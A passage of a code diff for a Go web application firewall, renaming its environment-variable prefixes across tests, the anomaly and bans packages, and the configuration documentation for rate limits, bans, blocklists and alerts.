if !strings.Contains(log.String(),
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String())
}
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(),
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String())
}
})
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
t.Errorf("process log %q names no failure, or names the URL", logged)
}
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
}
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
@@ -901,7 +901,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
logged := log.String()
if !strings.Contains(logged,
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") {
t.Errorf("process log %q names no failure, or names the URL", logged)
@@ -1254,7 +1254,7 @@ type eventMessage struct {
title, priorityAndTag, text string
}
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
// names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage {
return []eventMessage{
internal/anomaly/anomaly.go
+12 -12
View File
@@ -28,16 +28,16 @@ const maxCounters = 20000
// alerts name them.
const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWW_WAF_IPV6_GROUP_PREFIX.
// SWW_IPV6_GROUP_PREFIX.
ScopeClient = "client"
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
// or SWW_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net"
// ScopeASN is an AS number.
ScopeASN = "asn"
// ScopeTotal is the whole service.
ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
ScopeWatchedNet = "watched_net"
)
@@ -62,7 +62,7 @@ type Thresholds struct {
BytesPerHour int64
}
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
// NamedNetblock is a netblock SWW_WATCH_NETS names.
type NamedNetblock struct {
Name string
Netblock netip.Prefix
@@ -70,14 +70,14 @@ type NamedNetblock struct {
// Params are what New needs.
type Params struct {
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWW_WAF_WATCH_*.
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
// SWW_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WAF_WATCH_NETS.
// NamedNetblocks are SWW_WATCH_NETS.
NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts.
Alerts *alerts.Queue
@@ -107,13 +107,13 @@ type Request struct {
Host string
// Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
// SWW_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr
ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when
// unknown.
ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
Bytes int64
}
internal/bans/bans.go
+2 -2
View File
@@ -123,7 +123,7 @@ type Notes struct {
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWW_WAF_TRAP_PATHS, that path as the
// one for a request for a path in SWW_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
@@ -199,7 +199,7 @@ type Ledger struct {
// v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6
// netblocks that have been banned. Check looks for a ban at each of
// them, so that a ban read from bans.json refuses every client in its
// netblock even when it was made with another SWW_WAF_BAN_SCOPE_V4_PREFIX,
// netblock even when it was made with another SWW_BAN_SCOPE_V4_PREFIX,
// or another length of an IPv6 client's netblock.
v4Lengths, v6Lengths []int
}
internal/config/config.go
+277 -289
View File
@@ -1,9 +1,10 @@
// Package config reads sww's settings, and is the one place they are
// read. Every setting is an environment variable. The settings of `sww
// discriminator` start with SWW_WAF_, every one of them has a default, and most can be
// given as a file instead. Those of `sww rproxy` start with SWW_RPROXY_. Each
// of them but SWW_RPROXY_WAF_BACKEND has a default, and each can be given as a file
// too. SWW_COMMAND chooses which of the two the image runs.
// discriminator` start with SWW_, every one of them has a default, and most can be
// given as a file instead. Those of `sww rproxy` start with SWRP_. Each
// of them but SWRP_WAF_BACKEND has a default, and none can be given as a file,
// since rproxy never touches disk. SWW_COMMAND chooses which of the two
// the image runs.
package config
import (
@@ -26,8 +27,6 @@ import (
"unicode"
"unicode/utf8"
"github.com/spf13/viper"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/remotelog"
@@ -36,121 +35,121 @@ import (
// Config is the settings of `sww discriminator`. A time or size limit of
// zero is off.
type Config struct {
// ListenAddr is where discriminator listens (SWW_WAF_LISTEN_ADDR).
// ListenAddr is where discriminator listens (SWW_LISTEN_ADDR).
ListenAddr string
// InstanceName is the name every log line and alert gives as instance,
// and every metric carries as its label instance (SWW_WAF_INSTANCE_NAME),
// and every metric carries as its label instance (SWW_INSTANCE_NAME),
// by default the host's name, which docker sets to the first 12
// characters of the container's id.
InstanceName string
// Observe is true in observe mode, when SWW_WAF_MODE is observe rather
// than enforce: a request that SWW_WAF_DENY_NETS, a ban, the country
// Observe is true in observe mode, when SWW_MODE is observe rather
// than enforce: a request that SWW_DENY_NETS, a ban, the country
// lists, a rate limit, a rule or the Core Rule Set would refuse is
// allowed instead, and no ban is made.
Observe bool
// IPv6GroupPrefix is the length of the IPv6 netblock that is one client
// (SWW_WAF_IPV6_GROUP_PREFIX), from 32 to 128.
// (SWW_IPV6_GROUP_PREFIX), from 32 to 128.
IPv6GroupPrefix int
// MaxTrackedClients is the most clients the table of clients holds, in
// memory and in clients.json (SWW_WAF_MAX_TRACKED_CLIENTS).
// memory and in clients.json (SWW_MAX_TRACKED_CLIENTS).
MaxTrackedClients int
// AllowNets are the netblocks whose clients skip every check
// (SWW_WAF_ALLOW_NETS). RateLimitExemptNets are those whose clients the
// rate limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_NETS).
// (SWW_ALLOW_NETS). RateLimitExemptNets are those whose clients the
// rate limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_NETS).
// DenyNets are those whose clients are always refused
// (SWW_WAF_DENY_NETS).
// (SWW_DENY_NETS).
AllowNets []netip.Prefix
RateLimitExemptNets []netip.Prefix
DenyNets []netip.Prefix
// RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the
// most requests a client may make in a minute, an hour and a day
// (SWW_WAF_RATE_LIMIT_PER_MINUTE, SWW_WAF_RATE_LIMIT_PER_HOUR and
// SWW_WAF_RATE_LIMIT_PER_DAY).
// (SWW_RATE_LIMIT_PER_MINUTE, SWW_RATE_LIMIT_PER_HOUR and
// SWW_RATE_LIMIT_PER_DAY).
RateLimitPerMinute int64
RateLimitPerHour int64
RateLimitPerDay int64
// RateLimitExemptPaths are the path prefixes whose requests the rate
// limits neither count nor refuse (SWW_WAF_RATE_LIMIT_EXEMPT_PATHS).
// limits neither count nor refuse (SWW_RATE_LIMIT_EXEMPT_PATHS).
// Each starts with /.
RateLimitExemptPaths []string
// BytesLimitPerMinute, BytesLimitPerHour and BytesLimitPerDay are the
// most bytes a client's requests may carry in a minute, an hour and a
// day (SWW_WAF_BYTES_LIMIT_PER_MINUTE, SWW_WAF_BYTES_LIMIT_PER_HOUR and
// SWW_WAF_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
// toward them (SWW_WAF_BYTES_COUNT): response, request or both.
// day (SWW_BYTES_LIMIT_PER_MINUTE, SWW_BYTES_LIMIT_PER_HOUR and
// SWW_BYTES_LIMIT_PER_DAY). BytesCount is which body bytes count
// toward them (SWW_BYTES_COUNT): response, request or both.
BytesLimitPerMinute int64
BytesLimitPerHour int64
BytesLimitPerDay int64
BytesCount string
// LookupSource is where each client's AS number and country are
// looked up (SWW_WAF_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// looked up (SWW_LOOKUP_SOURCE): geojs, file, or off for nowhere.
// LookupDBPath is the lookup database, the IPinfo Lite file looked up
// in while LookupSource is file (SWW_WAF_LOOKUP_DB_PATH), and "" for any
// in while LookupSource is file (SWW_LOOKUP_DB_PATH), and "" for any
// other source. A request waits up to LookupTimeout for its client's
// first answer from GeoJS while a setting needs it
// (SWW_WAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
// (SWW_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true
// when the app is passed the client's AS number and country in headers
// (SWW_WAF_ADD_LOOKUP_HEADERS).
// (SWW_ADD_LOOKUP_HEADERS).
LookupSource string
LookupDBPath string
LookupTimeout time.Duration
AddLookupHeaders bool
// ExclusivelyAllowedCountries, when not empty, are the only countries
// whose clients are let through (SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES),
// whose clients are let through (SWW_EXCLUSIVELY_ALLOWED_COUNTRIES),
// two-letter codes in capitals, as GeoJS gives them.
ExclusivelyAllowedCountries []string
// TagLists are the address lists that each add a tag to the requests of
// the clients they hold (SWW_WAF_TAG_LISTS). TagDeny are the tags whose
// requests are refused (SWW_WAF_TAG_DENY). TagLimitPercent gives the clients
// the clients they hold (SWW_TAG_LISTS). TagDeny are the tags whose
// requests are refused (SWW_TAG_DENY). TagLimitPercent gives the clients
// with a tag that percentage of every rate limit and byte limit, from 1
// to 99 (SWW_WAF_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
// to 99 (SWW_TAG_LIMIT_PERCENT). All hold tags as requests carry them: in
// lower case, a country code in capitals.
TagLists []TagList
TagDeny []string
TagLimitPercent map[string]int64
// RouteWatchURL is where the routewatch instance is that adds the asn=
// and prefix= tags, "" for none (SWW_WAF_ROUTEWATCH_URL).
// and prefix= tags, "" for none (SWW_ROUTEWATCH_URL).
RouteWatchURL string
// The biased thresholds. ASNBytesPercent and CountryBytesPercent give
// those they list a percentage of the byte limits in place of the one
// TagLimitPercent gives their asn= or country= tag
// (SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT). Each holds
// (SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT). Each holds
// percentages from 0 to 100, by AS number, written as AS64496, or by
// country, a two-letter code in capitals, as the lookup gives them.
// UnknownLimitPercent is the percentage of every limit a client without
// a country gets (SWW_WAF_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
// a country gets (SWW_UNKNOWN_LIMIT_PERCENT). ASNLimitPercentURL is
// where a file of AS:percent lines is fetched from, whose percentages
// count like asn= tags in TagLimitPercent (SWW_WAF_ASN_LIMIT_PERCENT_URL),
// count like asn= tags in TagLimitPercent (SWW_ASN_LIMIT_PERCENT_URL),
// "" while it is unset.
ASNBytesPercent map[string]int64
CountryBytesPercent map[string]int64
UnknownLimitPercent int64
ASNLimitPercentURL string
// BlocklistURLs are where the blocklists are fetched from
// (SWW_WAF_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
// (SWW_BLOCKLIST_URLS). Each list, and ASNLimitPercentURL's, is
// fetched again BlocklistRefresh after it was last fetched or tried
// (SWW_WAF_BLOCKLIST_REFRESH), which is never less than an hour.
// (SWW_BLOCKLIST_REFRESH), which is never less than an hour.
// BlocklistAction is what is done with a client a blocklist lists
// (SWW_WAF_BLOCKLIST_ACTION): deny, limit or log; for limit,
// (SWW_BLOCKLIST_ACTION): deny, limit or log; for limit,
// BlocklistLimitPercent is the percentage of every limit it gets.
BlocklistURLs []string
BlocklistRefresh time.Duration
BlocklistAction string
BlocklistLimitPercent int64
// DNSBLZones are the DNSBL zones clients are asked about
// (SWW_WAF_DNSBL_ZONES), through DNSBLResolver (SWW_WAF_DNSBL_RESOLVER), or
// (SWW_DNSBL_ZONES), through DNSBLResolver (SWW_DNSBL_RESOLVER), or
// the host's resolver while that is the zero AddrPort.
// AbuseIPDBKey is the key of the AbuseIPDB account clients are checked
// with (SWW_WAF_ABUSEIPDB_KEY), "" while it is unset and none is. A score
// of AbuseIPDBMinScore or more is a hit (SWW_WAF_ABUSEIPDB_MIN_SCORE), and
// with (SWW_ABUSEIPDB_KEY), "" while it is unset and none is. A score
// of AbuseIPDBMinScore or more is a hit (SWW_ABUSEIPDB_MIN_SCORE), and
// at most AbuseIPDBDailyBudget checks are made a day
// (SWW_WAF_ABUSEIPDB_DAILY_BUDGET).
// (SWW_ABUSEIPDB_DAILY_BUDGET).
// ReputationAction is what is done with a client a zone's verdict lists,
// or whose score is a hit (SWW_WAF_REPUTATION_ACTION): deny, limit or log;
// or whose score is a hit (SWW_REPUTATION_ACTION): deny, limit or log;
// for limit, ReputationLimitPercent is the percentage of every limit it
// gets. A verdict or a score is used for ReputationCacheTTL after it was
// fetched (SWW_WAF_REPUTATION_CACHE_TTL), and a query or a check may take
// ReputationTimeout (SWW_WAF_REPUTATION_TIMEOUT). Neither can be off.
// fetched (SWW_REPUTATION_CACHE_TTL), and a query or a check may take
// ReputationTimeout (SWW_REPUTATION_TIMEOUT). Neither can be off.
DNSBLZones []string
DNSBLResolver netip.AddrPort
AbuseIPDBKey string
@@ -161,74 +160,74 @@ type Config struct {
ReputationCacheTTL time.Duration
ReputationTimeout time.Duration
// CrowdSecDecisionsURL is where the decision list of the CrowdSec
// engine whose local API SWW_WAF_CROWDSEC_LAPI_URL names is fetched from:
// engine whose local API SWW_CROWDSEC_LAPI_URL names is fetched from:
// that URL with v1/decisions added to its path, "" while it is unset and
// none is. CrowdSecKey is the key the engine is asked with
// (SWW_WAF_CROWDSEC_LAPI_KEY).
// (SWW_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// BanResponse is the status a refused client is answered with, 403
// or 429, or 0 to close the connection without an answer
// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
// breaks a rate limit or matches a ban rule, SWW_WAF_DENY_NETS,
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_WAF_TAG_DENY.
// (SWW_BAN_RESPONSE). It answers a banned client, a request that
// breaks a rate limit or matches a ban rule, SWW_DENY_NETS,
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY.
BanResponse int
// LimitBanDuration is the ban for a first broken rate limit
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
// (SWW_LIMIT_BAN_DURATION). A limit broken again within
// LimitBanRepeatWindow after the last ban ended bans for three times
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
// as long as that ban (SWW_LIMIT_BAN_REPEAT_WINDOW), and a ban that
// would be longer than MaxBanDuration is permanent instead
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
// (SWW_MAX_BAN_DURATION). None of them can be off.
LimitBanDuration time.Duration
LimitBanRepeatWindow time.Duration
MaxBanDuration time.Duration
// AttackBanDuration is the ban for a first clear sign of attack
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
// (SWW_ATTACK_BAN_DURATION). It cannot be off.
AttackBanDuration time.Duration
// MaxBans is the most bans held (SWW_WAF_MAX_BANS).
// MaxBans is the most bans held (SWW_MAX_BANS).
MaxBans int
// BanScopeV4Prefix is the length of the netblock around an IPv4
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
// client that a ban covers (SWW_BAN_SCOPE_V4_PREFIX).
BanScopeV4Prefix int
// StateDir is the directory of the state files, an absolute path
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state file every
// StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither can be
// (SWW_STATE_DIR). bans.json is written StateWriteDelay after a ban
// is made (SWW_STATE_WRITE_DELAY), and every state file every
// StateCounterInterval (SWW_STATE_COUNTER_INTERVAL). Neither can be
// off.
StateDir string
StateWriteDelay time.Duration
StateCounterInterval time.Duration
// LogRequestHeaders are the request headers whose values the request
// log gives, in lower case (SWW_WAF_LOG_REQUEST_HEADERS).
// log gives, in lower case (SWW_LOG_REQUEST_HEADERS).
LogRequestHeaders []string
// LogLevel is the least severe of the process's own messages that are
// written (SWW_WAF_LOG_LEVEL). It holds back no request log line.
// written (SWW_LOG_LEVEL). It holds back no request log line.
LogLevel slog.Level
// AdminToken is the bearer token an admin sends for the ban endpoints
// and /_sww/clients/<ip> (SWW_WAF_ADMIN_TOKEN), "" while it is
// and /_sww/clients/<ip> (SWW_ADMIN_TOKEN), "" while it is
// unset and they are off.
AdminToken string
// MetricsToken is the bearer token a scraper sends for the metrics
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
// (SWW_METRICS_TOKEN), "" while it is unset and the metrics are off.
// MetricsTopN is how many AS numbers and how many countries get series
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
// of their own in the metrics (SWW_METRICS_TOP_N).
MetricsToken string
MetricsTopN int
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
// RulesDir is the directory of the rule files (SWW_RULES_DIR), read
// unless RulesEnabled is false (SWW_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
// WAFMode is what the Core Rule Set does (SWW_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
// level, from 1 to 4 (SWW_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
// (SWW_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWW_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
// (SWW_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
// (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
@@ -237,21 +236,21 @@ type Config struct {
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that discriminator may refuse after a rule file or Core Rule Set match; one
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
// more breaks a limit (SWW_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// (SWW_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
// certificate must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil while
// it is unset and the host's own are used. LogRemoteBuffer is the most
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
// lines held while they wait to be sent (SWW_LOG_REMOTE_BUFFER).
// LogRemoteFacility is the number of the syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
// (SWW_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
// (SWW_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
// the lines are sent in.
LogRemoteURL *url.URL
LogRemoteTLSCAs *x509.CertPool
@@ -259,18 +258,18 @@ type Config struct {
LogRemoteFacility int
LogRemoteAppName string
// AlertWebhookURL is where each alert is posted as JSON
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
// AlertSlackWebhookURL is the Slack incoming webhook each alert is
// posted to as a message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), and
// posted to as a message (SWW_ALERT_SLACK_WEBHOOK_URL), and
// AlertNtfyURL the ntfy topic each is published to
// (SWW_WAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
// unless empty, is sent to ntfy with each (SWW_WAF_ALERT_NTFY_TOKEN).
// (SWW_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
// unless empty, is sent to ntfy with each (SWW_ALERT_NTFY_TOKEN).
// With none of the three URLs set, no alert is sent. AlertEvents are
// the events alerts are sent for (SWW_WAF_ALERT_EVENTS). A repeat of an
// alert within AlertCooldown is held back (SWW_WAF_ALERT_COOLDOWN), and
// the events alerts are sent for (SWW_ALERT_EVENTS). A repeat of an
// alert within AlertCooldown is held back (SWW_ALERT_COOLDOWN), and
// so is an alert past AlertMaxPerHour in an hour, for the hour's
// summary (SWW_WAF_ALERT_MAX_PER_HOUR); 0 is off for both.
// summary (SWW_ALERT_MAX_PER_HOUR); 0 is off for both.
AlertWebhookURL *url.URL
AlertWebhookHeaders http.Header
AlertSlackWebhookURL *url.URL
@@ -280,14 +279,14 @@ type Config struct {
AlertCooldown time.Duration
AlertMaxPerHour int
// The anomaly thresholds, which only raise alerts: the most requests
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
// and bytes a minute and an hour per client (SWW_ANOMALY_CLIENT_*),
// per netblock around a client (SWW_ANOMALY_NET_*), per AS number
// (SWW_ANOMALY_ASN_*), for the whole service (SWW_ANOMALY_TOTAL_*)
// and per named netblock (SWW_WATCH_*), each 0 while it is off.
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
// (SWW_WAF_WATCH_NETS).
// netblock around a client (SWW_ANOMALY_NET_V4_PREFIX and
// SWW_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
// (SWW_WATCH_NETS).
AnomalyClient anomaly.Thresholds
AnomalyNet anomaly.Thresholds
AnomalyASN anomaly.Thresholds
@@ -306,7 +305,7 @@ type Config struct {
// off.
const off = "off"
// The values of SWW_WAF_CORE_RULE_SET_MODE.
// The values of SWW_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
@@ -316,8 +315,8 @@ const (
WAFModeBlock = "block"
)
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWW_WAF_LOOKUP_DB_PATH names.
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWW_LOOKUP_DB_PATH names.
const fileSource = "file"
const (
@@ -327,7 +326,7 @@ const (
gibibyte = 1 << 30
ipv4Bits = 32
ipv6Bits = 128
// minIPv6GroupPrefix is the shortest SWW_WAF_IPV6_GROUP_PREFIX, the
// minIPv6GroupPrefix is the shortest SWW_IPV6_GROUP_PREFIX, the
// netblock a provider is usually given: a shorter one would make one
// client of the customers of several providers.
minIPv6GroupPrefix = 32
@@ -344,8 +343,8 @@ const (
// masked is what the log shows for a token that is set, and in place of
// a secret in another setting.
masked = "********"
// defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and
// SWW_RPROXY_LISTEN_ADDR, and defaultUpstreamURL that of SWW_RPROXY_UPSTREAM_URL.
// defaultListenAddr is the default of SWW_LISTEN_ADDR and
// SWRP_LISTEN_ADDR, and defaultUpstreamURL that of SWRP_UPSTREAM_URL.
defaultListenAddr = ":8080"
defaultUpstreamURL = "http://127.0.0.1:8081"
)
@@ -373,7 +372,7 @@ var (
errHeaderTakenOut = errors.New(
"is taken out of every request by Go's HTTP server, so it can never " +
"be logged")
errOnBothLists = errors.New("is in SWW_WAF_TAG_DENY too")
errOnBothLists = errors.New("is in SWW_TAG_DENY too")
errNotLookupSource = errors.New("is not geojs, file or off")
errNeedsLookups = errors.New("it needs each client looked up")
errNeedsDBPath = errors.New("it names the file to look clients up in")
@@ -449,7 +448,7 @@ var (
errNotListURL = errors.New(
"is not an http or https URL without a user or a fragment, " +
"such as https://www.spamhaus.org/drop/drop.txt")
errInBlocklistURLs = errors.New("is in SWW_WAF_BLOCKLIST_URLS too")
errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too")
errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
errNotAction = errors.New(
"is not deny, limit:<percent> such as limit:25, or log")
@@ -473,9 +472,9 @@ var (
errNeedsLAPIKey = errors.New("the engine answers no request without it")
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
errAnotherList = errors.New(
"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too")
errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
"is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too")
errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " +
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
errNotTagList = errors.New(
"is not a name, = and an http or https URL, such as " +
"torexit=https://example.com/tor.txt")
@@ -491,123 +490,124 @@ var (
errCrowdSecTag = errors.New(
"cannot be used: a CrowdSec decision refuses the request first")
errNoRequestGetsTag = errors.New(
"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
"a prefix= tag with SWW_WAF_ROUTEWATCH_URL set, abuseipdb with " +
"SWW_WAF_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
"is a tag no request can get: it is not a name in SWW_TAG_LISTS, an " +
"asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " +
"a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " +
"SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
"Core Rule Set on")
)
// FromEnvironment reads the settings through v, normally the viper
// NewViper returns, bound to the process's environment. A setting may
// instead be given as a file: the variable named by the setting's name
